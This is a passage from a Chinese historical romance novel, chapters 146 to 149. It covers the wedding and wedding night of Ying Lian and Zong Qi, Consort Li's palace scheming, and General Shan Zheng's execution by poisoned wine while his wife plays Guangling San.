“是。”他望着她晶莹微润的眼眸，忍不住又凑低头亲了亲，“若能功成身退，是再好不过了。” 应怜闭眼，眼睫轻轻一颤，再睁开时，漾出浅浅的笑意，“旁的先不急，我这有一件最要紧不过的事。” 她坐在宗契怀中。宗契细细地打量她，从额发到眉眼，伸手指腹捻了捻她嫣红的唇，胸腔里震出了深深的愉悦，望入她眼： “咱们成亲。” 早在九月，亲迎礼的万事已俱备，只欠了新人。如今忙趁东风，赶着元日双喜，为一双新人完了婚礼。 因是入赘，比寻常嫁新妇又有所不同。这一回应怜倒不怎么折腾，只安坐新房，由四邻有德行福运的妇人帮衬，绞面整鬓，戴了团锦四时的花冠，满头为插了金晃晃的钗梳；又着深青的团花褙子、穿花牡丹纱罗大袖、云月纹的刺绣霞帔，底下结一滴通通透透的镶金玉帔坠。珊瑚郁金裙下，一双纤月窄窄，举动之间，高华绰约如仙子。 妇人们穿红着翠，各个喜气洋洋、吵吵嚷嚷，又别有一种市井烟火的生机，与上一回时的命妇截然不同。应怜心境也如此，上一回晓得是做戏，犹如隔岸观火，并不如何紧张；这一回不同，再三地对镜望颊面上珠靥，又教取来帕子，将额发间密密的细汗揾了，总担心花了妆，或那裙襕绊自己一跌，闹出丑来。 元日的寒天，她竟紧张得手心发潮，但见镜中人，两靥生春，又总掩不住唇畔眼角那一缕缕流泻的笑意。 宗契在外头打马游街，总要转经几条街巷，才入得家门来。 他今日要穿一件比自己略浅的青衣袍，按的是最低品的文官袍服，百姓人家婚嫁，莫不如此。应怜还从未见过他穿青，也不知那新衣穿在他身上是如何模样。期待犹如缠在心头密密麻麻的结线，越缠越紧，她便愈发在这一片闹闹嚷嚷中听得清自己心跳的声音，激动、欢喜。 日上了三竿，又渐升高，忽廊院里来来去去的小厮们齐皆喊嚷：“新婿到门了——” 伴随一阵锣鼓笙箫，又有傧相唱念的什么，隔着重重屏门，应怜尚听不分明，便教妇人们催促着：“新妇快快出门，迎新婿去哩！” 她瞪大眼，登时心跳如喧鼓，面上涌起了热意，紧攥着的手被不知哪家妇人拉住，磕磕绊绊迎了出去。 廊上早已铺彻了红毡，一片张灯结彩，照耀得角落里也澄亮。处处是来贺喜的人，从连廊花厅一直罗列到中堂。应怜被人引着，以红罗盖头掩面，迈进了中堂门槛。 盖头轻薄，全不掩四顾的景象。中堂上首，虚设了铺锦的圈椅，并无长者落座，当中壁上，却有一面等人高的画像，上头一矍铄的禅师喜容，是前些日应怜丹青所图的慧理住持。因宗契是还俗的弟子，不便亲请了恩师，聊以此敬为新人所拜。 中堂室内悬了一方帐帘，是为虚帐，本是新妇所坐，如今宗契既赘来家，便由他走这一过场。重重纱掩，应怜瞧得不大真切，于堂中望去，隐见一人身形岿巍，负了门外日头，缓缓而入，气度沉稳有节，待入虚帐，略坐了一坐，全此礼后，再挑帘而出，三两步向前，到了她身畔。 应怜如置梦中，一时竟不知如何行动，只呆呆瞧着他，见那一身略浅的青袍，缘饰盘绦锦重重连钱，暗纹展展，与素常灰衣皂鞋迥异，峻拔修长，尤有渊岳的峥嵘。 宗契绷着下颌，盯着她，稍稍一动，头戴的鸦青幞头两脚便迎风招晃，向来泰然的眼眸里隐忍着欢欣与紧张，见她痴楞楞地瞧，喉头动了动，轻声道：“……莫笑。” 他忍得额角的青筋都迸显了出来，幞沿耳后，做新人的被宾客们戏弄，插满了滚地锦似的绒布花，更有几枝时令的红梅，别样艳质凌芳。 他不说罢了，一说，应怜憋不住笑，噗哈哈地笑疼了肚子。 宗契满面涨红，幞脚两旁招风似的晃，连那满头的花胜也乱颤起来。簇花满面，他花阵香海之中，脖子根也红了，瞪了她一眼。 应怜抿嘴艰难地忍笑，接过傧相塞来的牵巾同心缎，一齐拜过了上首慧理住持的喜容，又教人簇拥着纷纷至新房，一旦傧相教拜，便与他争先对拜起来。 宗契佯作不察，慢她一步，教她争了先拜，在四邻儿郎们哄笑声中，才足足地与她一拜。 新房中尚未闹完。有老小俱全的妇人口念撒帐歌，催促二人喜床上左右坐了，将一把金银彩果掷去，惹得孩童们纷纷嬉笑拍手，过来争抢，又将二人推在一处。应怜到此时也满面难褪的红晕，慌乱乱羞答答地不知如何抵对，瞥宗契好几回，全见他目光凝在自己身上，含着笑，有几分冒傻气。 合髻毕了，待得吃过交杯酒，应怜擒着那一只彩结系的酒盏，众人闹着教掷。她望望宗契，怕不得个仰合，坏了彩头。宗契执着彩结另一端所系酒盏，眼带笑意，下巴微朝床下，“但掷便是。” 应怜捏着盏，手有些抖，鼓足了气，向那床下掷去，心中巴巴地默念：成、成、成。 早有人俯身瞧去，笑嚷：“仰！仰口！” 她紧张地瞧宗契。宗契轻巧巧地向那处一抛，杯盏稳稳划过弧线，带着彩结而去，到得床下，轻轻一扑，正挨在应怜盏旁，只隔毫厘。 “合！”瞧看的人大叫。 众人便笑起来：“一仰一合，大吉大利！” 应怜提起的心倏忽落了回去，松一口气，转向宗契。他面色不改，微微冲她挑了挑眉，隐约几分邀功的意味。 应怜掩嘴，别过脸去，眼角眉梢却泄了三月春暄般的笑意。 不待新人眉来眼去，少年郎君们早已哄扯了宗契，放嗓门嚷着饮酒。宗契左也被拉扯、右也被拉扯，只来得及与她道一声：“我速去速回！” 接着便被推搡出门，灌酒去了。 妇人们又陪坐一会子，各自便去欢笑宴饮了，留应怜在房中，用了些饮食，坐床等待起来。 早已是黄昏后，花枝般的灯盏重重点起来，晃亮得如同白昼。应怜剪过三回烛芯，由紧张渐渐作了微恼，埋怨起宗契来。说的速去速回，二更鼓点响，他人也还未归，前头仍是喧嚷的人声，半点无歇的意思。 她叫来女使，前头去催一催。一会儿，女使回来，道：“将军被强留了饮酒呢，满院儿的人，轮番地灌！” “教他们少饮些个。”应怜无法。 又过两点更鼓，她又教去催，女使回来，仍道在饮酒，只是一院的人散去过半，又有东倒西歪已喝躺下了的。 应怜一急，“宗契呢？他醉了没？” “瞧不出醉。”女使答。 应怜只得等，觉那时辰一点一滴熬得漫长，望穿了秋水，几近了子时，侍奉的人早已歇下，这才闻得外头脚步飒踏，流星一般折入了内院。 她等得发恼，也不管他，自去一盏盏吹熄了烛火，要合衣睡去。烛盏良多，才吹熄一半，幢幢发暗的烛照下，宗契推门入屋，眸光映入烛火，瞳子湛亮精光，目光先四处寻她，待落定在她青衣喜服的身影上，唇边微略的笑意涟漪般扩散，旋身关了屋门。 应怜扫了他一眼，面上冷哼，心中却倏地如擂鼓般跳了起来，渐渐地轻粉的面又染上了云霞。她只背身不理会他，立在几支未熄的烛盏旁，也不去灭灯烛了。 忽而一个温热的胸膛抵上，她被从身后拥住，落入了他怀抱。 宗契在她身后，环着她，唇在耳畔，说话时相触，并不见醉意，却比往日多几分深，“惜奴。” 应怜自耳尖起，连绵地烧了起来，垂着头，扯开他手，向床畔去，不理睬他。 才走几步，后头又追上来，蓏萝藤似的缠了她手脚，下巴搭在她脑袋上，压得应怜鬓髻发紧。宗契又低低地唤：“惜奴。” 他话似胸腔里震出来，带着十分的愉悦满足。应怜被他感染，再摆不出恼意，扭回身来，与他相对。 宗契深深地凝望她，眉眼间的笑化作了专注的情意，仿佛看不够似的，眼眸深处竟有某种不可思议的惊奇。 “你瞧我做什么？”应怜被那样的眼神瞧得臊起来，不自觉笑意盈眸。 “惜奴，”他又良久，似不大敢信，喃喃道，“咱们是夫妻了？” 应怜嗔怪地白了他一眼，摸摸他额，“闹了一日，你方才晓得？莫不 真是醉了，问的醉话？客都散了么？” 他摘下她手，团在掌心里，爱不尽似的，又牵着她按到床边坐，“散了。我本要走，他们只不许，才拖到这一时……不大醉，你瞧。” 应怜尚不知他要教瞧什么，但见宗契先摘了幞头，褪去盘绦锦连钱纹的青袍，只着里头浅淡的夹袄，愈发显得蜂腰猿臂，烛火一映，眉宇间深邃，透出些往日不贯有的潇洒恣意来。 他揉拳摩掌，动了动筋骨，而后在并不宽敞的新房里，耍起拳来，招招如行风走箭，凌厉穿云，震得烛架上光火乱颤，壁影眩晕。 应怜目瞪口呆。 宗契在她目光下，愈发地勇武，一招一式还拿眼角去睇她，又招摇又炫耀。 半晌，应怜点点头，解了盘髻，长发瀑散开来，“我要就寝了，你自己耍吧。” 宗契一顿，停了住，微有困惑，却在她匀淡春霞般的面容下目光凝了住，生根了一般，渐渐地忘了耍什么拳脚，心火有些发燥，足尖一抄，将正要躺下的应怜牵着手臂一带，拦腰卷住，锢在自个儿怀中。 应怜推不动，一个绊跌，向后倒仰，却因着他摆布，眼前一旋，便与他歪在了床榻上，半撑着他起伏的胸口，腿脚缠在了一处。 她勉强支起些身子，“你醉了。” “不曾醉。”宗契声线平稳，喉头却发紧，抚着她柔顺的长发，将身嵌进她腿间，又喜爱地将脚去戏弄她缠了罗袜的足趾，引得应怜躲闪扭身，目光渐渐转深，“我知今日洞房花烛。” 应怜抿着唇，任他摩捻足踝，呼吸有些急促，别开眼眸，声音又轻又绵，“你放我起来。” 宗契却收得更紧，衾褥间跨了半步，将她全压在身下，从眼角起，渐渐向下，一直吻上了她的唇。 第147章 第147章朝夕尽欢，春秋富盛…… 宗契的气息又沉又烫，交错在应怜鼻息间，去与她缠弄，比往日少几分柔和，多了些攻城略地的侵占。 应怜支应得勉强，又被那手掌逗弄，轻喘着拈他粗长的指节，“痒……” 他二人早已有过夫妻之事，才领略个中滋味，便久别至今。应怜初时不觉得，如今被一拨弄，方觉早已动情。宗契更是如此，呼吸尤愈急促，去解她衣带。 烛枝影长，光火澄澄。床帏里一双人影交叠，旖旎难言。 枕上相缠之时，不意里头碰着个物事。 宗契随意扯出，正要丢开，却见是本册子，动作略停了停，“这是什么？” 应怜正迷迷蒙蒙，含春雾的眼眸一扫，登时惊得一跳，却被压在锦褥里动弹不得，只拔出两只手，要来夺书，“无甚，闲书罢了！” 宗契也不争，只是以膝抵着她腰下，手略抬了几寸。应怜便碰不着，又羞又急，“还我来！” “阴阳交泰……仙乐钧天？”他一只手掌便轻松制住她两只腕子，将它们按在自己胸膛上，另一手去翻那书页，才一见，便惊异起来，眉宇间笑意转深。 应怜掌下觉察他胸腔中愉悦的震笑，愈发羞恼，又有一丝被撞破的窘迫，赶在他开口前，先画蛇添足地描补，“这是、是成亲时妇人家压箱底的物件，我也没瞧过……” 宗契煞有介事地点点头，接着盘坐起身，“来。” 她正不解，腰身却一紧，被他揽臂抄了起来。宗契将她旋个转向，教坐在自己腿间，从背后拥着他，抵上她散满青丝的肩头，向那侧颈亲了亲，两手抄向前，将书翻上一页。 “既未瞧过，咱们一道瞧瞧。”他在她耳边说话，眼却向着书页。 应怜被箍在那副魁硕的身躯里，浑身热意沸涌，脸红得要冒烟，而后宗契声音却又喑哑，按着不教乱扭，“莫要动。” 便只得顺从地窝在他怀里，被迫着与他同看那图册。哪用她细瞧，早已烂熟于心，眼一搭便晓得那是在做什么。 宗契却头一回瞧此种春兴之物，有些新奇，翻上几页，失笑问：“没瞧过？” 应怜必得抵死不认，“……没。” 宗契便亲亲她那早红得要滴血的耳垂，“妙。” 又翻一页，亲了亲她肩颈，“妙。” 再翻一页，微捻弄了弄她饱满的唇，“妙。” 他每念一个【妙】，应怜气势便矮上三分，羞窘难耐，心底却渐渐涌起隐秘的酥痒。 “改日再瞧，宗契……”她颊颈潮红，回身捂她双眼，轻舔他略宽厚的唇，妄想以此迷他心意。 宗契唇舌间有些微醺醉的酒意，沾染得她似乎也有些醉。他轻拉下她的手，最后一页瞧去，指腹从她再熟稔不过的娟秀字迹上划过。 “【甚妙】。”他目光从那首尾相接的仰伏春色间离开，落在她潮红羞窘的面上，喉头紧了紧，声音添了几分哑，“你喜欢这个？” 应怜臊得抬不起头来，却被宗契轻柔地捏了捏后颈，才要别开脸，却又被他揽着腰，推在床里。 “咱们试试。”他低伏与她交凑，喘息耳语。 而后向下，大掌一伸，扯了衾裯遮盖。应怜便迷蒙只见烛红，橙红光影之中，裯下轮廓伴着她足弓难耐扬起。 …… 元日春宵，良辰幸时，院落阒静，唯深深处猫儿动静，又似断续声泣，难以自抑，直闹到夜半后，才渐声渐消。 里头云暂收、雨暂消，酒意却复涌起，使人更不知今夕何夕。 宗契心甘意美，吮尽了她腮边堕的泪，意犹不足，愈瞧愈爱进了心底。 应怜乏得一根指头也抬不起来，一身瓷白细腻，红靡地盛开了无数海棠，青丝委乱，余韵难消，横陈在半光半影中，懒怠再动一动。 “渴。”她柔顺无力地地伏在他肩头。 宗契便下榻，倒了温茶与她。应怜枕上观去，但见那人腰臂胸膛无一不精悍健壮，极为高挺峻拔，当真是外显岿巍，内蕴蛮勇，略一回想前一番床帏里相交，便面热心慌。正眼神乱瞟、心思胡想之时，那茶已抵得她唇边。宗契将她散乱的发微拢在后，露出那一截红润小巧的耳朵来，眸光略顿，唇边有笑。 应怜就着咕嘟嘟喝了几口，余下便教宗契喝尽，将杯盏搁回了，回身见锦色衾枕斑斓，灯下凝脂春棠，美人玉色，不觉将目光在她身上良久，又引得意动。 应怜早已知他这一身筋骨力势，绝难草草便收，乏虽乏了，总有几分食髓的滋味，嘴上仍道：“夜半了，咱们睡吧，明日……明日再……好不好？” 少年贪欢，连说话时的心意都不坚牢。宗契三分酒醉成了七分，往常里总收敛着，怕吓着了她。只是情人在侧，有几个能当真收得住血气？ 他便俯身去，宽容她方寸空间，不桎得那样紧，唇舌沿她耳尖向下，调摇吮弄，声音有些含混，“再一回，我保证轻些。” 应怜最禁不得戏，没几下便气喘连连，耐了乏意，半推半就地由着他去了。 床帏里又一次摇起春色，情人良宵，恨苦太短而已。花影羞闭，月懒照映，赤绳千里一系，但得如此一人，世尘滚滚，辗转重山叠水，也将来赴，从此一双我与侬，同眠同穴亦同心。 二个月后，单铮班师回朝。 四月，春正放时，洛京里信至代州，应怜展信，瞧之渐默。 乌孙使者来朝，求娶大周主女。天子选其妹李定娘为丰平公主，远嫁乌孙，与蒲察氏王子和亲。乌孙蒲察氏并未参与一年多来的匈奴南侵，因祸得福，保留了实力，如今隐隐有取代北匈奴的架势。蒲察氏几位较年长的王子各自因战或病，早已死去，如今最长者，乃是失散多年得归的一名少年。公主嫁与，也算是郎才女貌。 京中人不知情由，以北地为苦，多有怜悯丰平公主者。应怜却依稀想起了曾与李定娘有过私情的那个少年。 “袁……”她一时有些记不清，浅浅地蹙眉，“袁武，是他么？” “是他。”宗契与她一同瞧信，答道，“小昆莫部，蒲察氏，失散多年，想来便是袁武。” 应怜眉头终于松开，“定娘表姐曾钟爱于他，若真如此，他们也算得成正果……” 话顿了顿。她发了会怔。 宗契见此，便问：“怎么了？” 应怜回过神，冲他笑了笑，摇摇头。 李定娘曾告诉过她，自己因胎宫伤损，以后不再能有子嗣。可若不能诞下儿女，往后在那部族里该怎样立足？ 良久，她轻叹了一声。 “愿她将来，一切都好。” 世事无常，往后的命运谁又能早料到？非止是定娘，就连他们自己，也不知今后还会不会波澜再起；所牵挂的人，能否一世相安。他们能做的，只有走好如今的每一步。 “定娘表姐远嫁，两国的亲事，绝非草草能就，少说也当有半年聘嫁之期。我想着，不如也西去一趟，就沿着你当初出关的路，送一送她，怎样？”应怜道。 宗契一切都依她，不过又问：“那之后呢？回代州后，你想做什么？” 应怜心头阴霾被驱散些，眼儿弯弯地笑起来，“这几年，你随我东奔西走，又是下扬州、又是去洛京，也尽够了。回来后，咱们张罗些产业，嗯……就开间客店，如何？” 春日暄暖，院那头萍儿与女使玩闹，秋千笑语之声飘过墙垣。应怜取过纸笔，教宗契磨墨，自个儿在一张空白纸上涂涂画画：这一间是正堂 、这是穿廊、这是后院、这是厨房…… 宗契一边磨，一边噙着笑听，瞧日光透过轩窗，照射在她莹白玉映的脸上，浮起一层淡淡的匀红。她的眼眸因想象未来光景而清亮温暖，时而望来，那里头便溢出了深深的笑意。 当年初下佛山，与她伴一程世路，未曾想缘分牵绊之深，成他一生之幸。 往后年岁漫长，他们还有的是时间。 第148章 第148章嵇氏身虽死，广陵事不…… 她还有的是时间。 秾李入寝殿，瞧见了穿花薄纱的帐子里，午睡正深沉的孩子。 宁德五年，她的厚儿已五岁。 厚儿是天子的第一个孩子，也是头一个皇子，即便不是嫡出，身份也足够显贵。母以子贵，天子宠爱厚儿，她便跟着升了几次品秩，如今已是淑妃，后宫之中，仅在皇太后、皇后之下。 而皇后自宁德二年入主中宫，到如今只有一女。郭显不重人欲，后宫中至今不过一后三妃，又有一妃嫔诞了皇儿，如今还未满年。 李淑妃的地位便愈发稳固，纵不大得天子宠爱，敬重总别有一份。 厚儿睡时，幼嫩的眉眼比平日多了几分憨态，十分可爱。秾李无声挥退宫人，独自坐在床边，长久的、怜爱地瞧着孩儿。 许是生在天家，又被寄予了厚望，厚儿并不像普通的孩子那样贪玩，反倒更愿随先生们学习。据皇太后章氏所言，他更像他父亲幼年的时候。 郭显儿时，便文武样样功课努力上进，在众位皇子中脱颖而出，只是后来渐渐不学上进，失了理宗皇帝的喜爱。 秾李猜想，那是因他懂得了木秀于林之故。故而他对于厚儿的好学，予以了十分的嘉奖与鼓励，甚至每日拨出时辰，亲自指点。相较于帝王，在厚儿的心中，他更像个不错的父亲。 厚儿当然是个好孩子。 只是她不一定是个好母亲。 她坐得久了，厚儿入睡醒来，有所察觉，懵懵懂懂叫了一声，“小娘娘？” 后宫无论嫔妃所出，皆唤皇后为“大娘娘”，生母为“小娘娘”，以示尊卑。 秾李伸开手，抚了抚他细软的额发，“嗯，我在。” 厚儿欢喜地笑起来，醒了，便要起身。秾李不用宫人，亲自为他穿衣。厚儿十分聪慧，见她似有心事，便问：“小娘娘要与孩儿说话吗？” “要的。”她道，“待会儿有个人来，厚儿得唤他翁翁。” 厚儿很好奇，“是谁？” “是你爹爹身边的李胜儿。”她道。 厚儿好奇的神色转为了纳闷，“那不是李都都知么？为何要唤翁翁？” 秾李拍拍他的脑袋，“你记着就行。小娘娘还有话与你说，来。” 偌大的寝殿，宫人们俱守候在外。秾李使人又退到了院中，留与十几步，候着他们母子说话。 她替厚儿将小小的袍服角带系严整，在他隐约不安的神色下，牵着来到桌边，坐下后，温柔地与他说话： “你是我的孩子，更是爹爹的长子。你的身份尊贵，不源自于我，而是源自于你的爹爹。只要你好学上进，不为外物所动，心性秉坚，爹爹就永远不会冷落你。哪怕小娘娘有朝一日不在你身边，你也不会因此而遭贬黜，可明白？” “小娘娘要到哪里去么？”厚儿扁起了嘴。 秾李只是笑了笑，“小娘娘哪里也不去，就在这宫中。” 只是宫苑深深，宫墙三千，足够将两个人永隔天地。 但毕竟只有五岁的孩儿，不懂得权力对于人心的禁锢。厚儿放下了心来，记住了小娘娘今日的话。 话说起来，李淑妃与李胜儿，同出一姓，还算是本家。李淑妃性贤淑、知进退，明里暗里曾帮过李胜儿些私事，故李胜儿也给足了李淑妃的面子。他领了天子的差事，中途教李淑妃的人截过去，微微一犹豫，便转了个道儿，去了蕙兰台。 他是入内内侍省的都都知，这几年亲随天子左右，位至极品，出入皆有小黄门随侍，今日却独自一人，更亲手提着一只食盒。蕙兰台的宫人殷勤要替他提拿，却被李胜儿婉拒，“你在前带路就是。” 至蕙兰台，李淑妃已端坐在堂，等候着他，见人来了，唤坐于对面，先寒暄了几句，而后问：“都都知手提食盒，是要去哪儿？难道得了什么山珍，要躲在旁独自受用？” 李胜儿道：“淑妃娘娘这般损我，可羞煞人！我正要出宫，奉命去一趟单将军宅，若是娘娘无事，我还得速速办完差，回覆上命呢！” “不忙。”李淑妃瞧瞧天色，笑道，“午膳未开，单将军住在城西，往返又得一个时辰，误了饭时。我正要用膳，都都知留待一刻，与我一同用些，再走不迟。” 李胜儿面极为难，不说是，也不说否，只定定垂头不语，内心似在挣扎，半晌抬头来道：“圣命不可误。若有所差池，官家唯我是问，那可怎样好？” 李淑妃不管。她竟起身，亲自去接他手里食盒。这大大失了宫中的规矩，李胜儿咬着牙，手紧攥着不松。李淑妃并不蛮抢，只道：“我知这是官家与你的差事，也知办不好这差，官家定要怪罪。只是都都知是被我叫来用顿便饭的，这么一 会子时候，不耽误什么。若官家真要怪罪，都都知尽将我招出来便是。” 李胜儿为人，处事圆滑，城府也深，却并不奸诈。他曾是先帝提拔起来的小黄门，少年时的一腔忠心早已尽付了先帝，因此才在太上皇郭禧夺位后，甘冒剐罪，在他眼皮子底下，与如今天子郭显勾打连环。既报了仇，他便为郭显做事，但那十二分的忠心早已随先帝而去，如今人到中年，愈发地内敛谨慎。 只是，有些禀性，早已融入风骨里，那是什么样的深渊与冰霜都不能掩去的。 他与世人一般，皆崇敬英雄，怜惜义气。 他食盒里那一壶酒，要断送英雄；他人之所以在此，是为了成全义气。 一杆称的两端，那头是仁、是义，是天下间至高至伟的、再光明不过的东西；这一端只有一样——他自己。 他不动声色，不发一言，垂头不语。 他在衡量将他自己卷入博弈的棋局里，是否值得。 李淑妃不催促他，只与宫人耳语几句。不一会，宫人们侍奉着小皇子来到正堂。 小皇子已秉持君子的风度，小小的身板挺得笔直，虽只顶了孩童的两只总角，眼眸中却无幼儿的懵懂。他端端正正来到李淑妃跟前，先一礼下拜，“小娘娘安。” 李淑妃将他牵来，目望李胜儿，指与厚儿道：“这是宫城里最有节有守的人。你爹爹有他，是人君的福泽。去，唤翁翁。” 李胜儿惊震惶恐，骤然抬头，身仍板正，却在小皇子下拜时，不自主低了半截腰。 “李翁翁。”厚儿清稚的声音唤。 “奴婢何德何能！”李胜儿腰躬得更厉害，脊背有些发颤，慌不迭将小皇子持臂扶起，“担不得、担不得……唉！” 他又转向李淑妃，“淑妃娘娘，您又何必……您已贵为四妃之首，荣宠已极，何必为不相干的事枉自费心！” 李淑妃反问：“你当初又为何承懿旨、开天门、迎天子入宫？” 李胜儿长久缄默。 堂中早已屏退宫人内侍。李淑妃在他沉默时，来到他跟前，以四妃之身，向这位中贵人行了一个大拜之礼。 “这事未必会有人知，也未必会流传千古，成不了忠义的佳话。”她任凭李胜儿慌措来扶，只是一双水清天明的眸子落在他身上，“只是，总有些事，咱们做来，并不为旁人——不过为着自己的良心，得与自己有个交待。” 李胜儿定定地打量着这个一向沉默寡言的淑妃娘娘。 她说了交情、许了愿景、论了仁义。她找上了他，并不是病急乱投医，而是从一开始，就洞彻了人心。 李胜儿从心底里叹出一口气，承认了她对人深幽心思的把握之精准；也不得不承认，她实则并不似所表现的那样柔弱安分。 荣华富贵，他什么都有了，如今倒想瞧瞧，自己若抬一抬手，她能借着他的风，再飞向几尺高的云霄。 ——又或是折损羽翼，一落千丈。 他终不再推辞，脸色也好看起来，笑眯眯地问了小皇子些饮食、功课，又在她下首安坐下来，“时近日午，娘娘随手赏赐些吃喝便好，奴婢便叨扰了。” 他将食盒搁在了一旁。 李胜儿带着赏赐御酒而来的消息至时，单铮正在画一方阵势。 他近期来突发奇想，主动研墨蘸笔，要将自己从前兵法上所学与大小数战的经验融会贯通，编成一簿新的兵书。他将此想说与折柳，不出意外，又得了她好一顿嘲笑。 他与折柳共同度过了七八年相伴的日子，说来奇怪，愈是深入了解，愈是发觉他与她之间，无论禀性、喜好，岂止是截然不同，简直可算远隔云端。 他寡言持重，她爱说爱闹；他坦阔直性，她口是心非。他好武、重义，她却时常讥嘲他不通人事情理，不懂变通。 这一回，他要修兵法，折柳晓得了，便抓着瓜子，歪在对面桌边，边嗑便瞧，一会笑他那偃月阵画得像一群秧鸡落水，一会聒噪那带头的将军怎么生得一尺三寸长的挫个儿。单铮被她恼得像教三月的拂柳挠了脸，又痒又烦，索性捉她来身侧，道：“你这妇人，好不晓事，我总得做些什么打发时辰，不然成日里在家，与你大眼瞪小眼，却没得被你笑话秋后的蚂蚱！” 往常折柳被他损斥，定要啐上一口，凭心情决定是捧脸胡亲几下，或是瞪了眼回骂过去；今日却不知怎的，闻言没了话答对，反愣了愣，一双鲜亮嬉笑的眸子黯淡下来，沉默地瞧了瞧他。 单铮也自知失言，搁了笔，不再提那双方心知肚明的事，将她拉过来，抱在怀里。二人静静地就这么呆了一会。 五年了。 自五年前出征而归，荣耀一时，手下的副将、裨将校尉们尽加官进禄，同归的兵士也一时成了禁军里风光无两的人物。那时节烈火烹油，真是家家传唱英雄故事。 天子封了官，当着朝臣之面，与他将功补过，撸了差遣，只留了寄禄的闲职，从此留在洛京，无所事事。 单铮倒并不怎么在乎那些。他想辞官回乡，却总不得允，便眼睁睁瞧着身边心腹的人，一个一个厚赐了爵禄，却远远调离洛京。 郭显曾与他道：“只要你留在洛京，朕便予他们一世官禄，子孙恩荫——只要你留下。” 这是个交易，也是个威胁。 于是钱美走了，杨兴走了，李三郎走了，林文贵走了。他们一个个地去，有的兴高采烈，有的对他失望至极。 人都会变。五年前他能召集旧部四万，长去边关；五年后，他的将士们也有妻有子，有了家室牵绊，不会再抛下一切，仅凭一腔热血便跟着他踏破贺兰祁连。 郭显用他的隐忍，五年间，一点点蚕食宁德军的根骨。到如今，水到渠成，非止宁德军，连单铮也被消磨了冲霄的意气，回不到当初豪勇。 “边关烽火已平，若再回乡，你还要与外族不死不休么？”窝在他怀里的折柳忽然问了一句。 单铮目光落在那册尚未编成的兵书上，抚了抚她的头发，觉着可笑，“他们早已躲得远远的，我还打什么？安心度日罢了。” 折柳将脸贴在他肩头，闷闷地应了一声。 李胜儿便来了。 单铮将她放开，“许是宫中的消息，我去去就回。” 他起身要离开，却被折柳蓦地拉住，回头，望见黯淡近黄昏的光线里，她落寞到凄切的眉眼。她眼角有了细纹，仍是风韵艳美，教单铮总回想起与她初见时，她笑靥瑰姿、夺人心魄的模样。 折柳攥着他手指，“哎，你……你就没话与我讲么？” 单铮顿了顿，在愈近的黄昏中搜肠刮肚地想了一回，而后道：“照顾好小山。我那书房柜下有暗格，里头……” “有金子，我晓得！”折柳恼了，咬起牙，将他的手一掼，“狗嘴里吐不出象牙的老货！” 单铮浓烈的眉宇一耸，显了几分笑意，向来泰然气度，此时有了些温柔。他迎着她发怒而更晶莹的眸子，俯下身，亲吻上她格外柔软鲜红的唇，轻车熟路地将她吻得气喘吁吁，终于嘴硬不起来。 “同你做夫妻，我真快活。”他低低的话在她唇畔流连。 折柳仍闭着眼，不敢睁开，眼泪慢慢在睫下盈了出来。 单铮直起身，不再与她徘徊，将她的手轻柔却坚定地掰开，转身决然而去。 折柳指尖颤抖，继而整个身子颤了起来，撑着他方才坐过、还留有余温的圈椅，一时难以起身。 桌上偃月阵才画了一半，墨渍未干。她蜷缩在宽大的椅中，咬着牙，无声无息地流泪，模糊的视线里，他高长的背影离去，黄昏泻下最后一缕金红，天地失色。 单铮离去后，她丧荡游魂一般，在内室、外堂，乃至廊院之中漫荡，没个去处，也不知前头如何。有些禁卫跟着来了，并未阻她的出路，只将他们谈话的花厅围了起来。家人们个个噤若寒蝉，虽不知发生了何事，却都有一种大难临头之感。 折柳失魂落魄了一阵，半晌收拾心神，净面洗脸，重整了衣襟发鬓，唤人取过她一向收藏在奁里的琵琶，款步出屋，坐于庭院当中，面上已不见方才哀恸哭泣之色，唯余世事落定后的平寂寥落。 她垂眉眼向琵琶，先清泠泠试了几根弦，而后轻拢慢捻，声声切切地拨弄了起来。 “你一向不许我调弄丝竹，说那是卖笑的贱业。”那些婉转曲调，她闷熟于心，信手拈来，目光与弦乐相随相伴，向前院花厅的墙头而去，乐声逐渐急切，她也不在乎是否有人听，“我今日便将此曲拨与你听，好教你晓得，卑贱的不是曲子，是人心。” 初时的婉转已近于无，手指挑捻翻覆，如一场急骤的狂雨，琵琶声竟如金石，怒怒昂昂，翻滚着刺破愈幽深的静谧夏夜。虫鸣因而震恐，乃至喑哑无声。院落之中，响彻这一支悲愤的乐曲之音。 隔墙的花厅之中，单铮饮下杯酒，在入内内侍省都都知李胜儿亲眼得见下，将空杯掷落。 李胜儿听得那铮然琵琶乐声，不由侧耳，片刻回过神，心下微惊。 单铮一直漠然的神色终有动容，眼望向乐声来处，明晓得目光被层层所阻，却依旧久久凝望，喃喃出声：“这是什么曲子？” 他听不出来，李胜儿却清楚，看在人之将死的份上，教他做个明白鬼，“是《广陵散》。尊夫人精熟乐律，将琴曲翻作琵琶，慨然有楼头风雨之铿锵。” 那乐声一声更甚一声，暑夜本就燥热，如今更使人气血翻涌，恚愤难平。 “她发恼呢。”单铮苦笑，“拙内任性惯了，中贵莫与她计较。” 李胜儿道：“自然不会。单将军倘还有什么话，要带与官家，如今不妨说出来。” 听他道“官家”，单铮一哂，将真心收掩在了微略讥讽的神色下，“与我他之间，终有这么一日。他已无人之义，盼往后做个清平君主吧。” 他与郭显，崎岖孤道并行，终是他选择了退让。而一让，便不得不再让，直至自绝了生路。 《广陵散》还在继续，云晦风卷，金石相击。单铮再无话，盘坐于地，渐觉昏夜深深，窒闷眩晕，跟着天旋地转，眼前的李胜儿，嘴角那一丝切然的怜悯也分化成数千万重，神鬼般飘散飞逝。 药力发了。他放弃了挣扎，栽倒在地，耳畔泠泠音节，如骤雨淌过最急切的繁乱，渐而有了平伏的趋势。 都道人死前将过走马灯。单铮最后一念，心头模糊地想：他却怎么万般记不起从前，唯有那曲子，切合他意，带着对人主莫大的讥嘲与不甘，逐渐远去。 第149章 第149章魂魄去兮梦将归 杳杳冥冥，仿佛魂梦在黄泉里走了一遭。 这一时开始走马观花起 来。先是幼承家学，学一杆尖枪；少年时家人四邻罹难，蹚一条血路；后十多年辗转，起家举事，结一帮弟兄，一齐吵吵嚷嚷，倒反天罡。这一路走来，有人附聚、有人失散，他手里密密麻麻，也不知有了多少条血债。 忽一倏忽，神鬼哭啸，他冥冥中若有所感，踏上了一条茫茫的路，瞧见了一个瘦长轻佻的人。 那人穿得像个儒生，穿一领道袍，斯斯文文，一张略文气的面庞上，嵌着一双尤为活络的眸子，东瞄西望，煞没正行。 单铮一见，心头大喜，忙伸手来，“十八，你教我好找！” 赵芳庭嘻嘻笑笑，揣着手到他近前，上下一打量，“哥哥近来安好？” 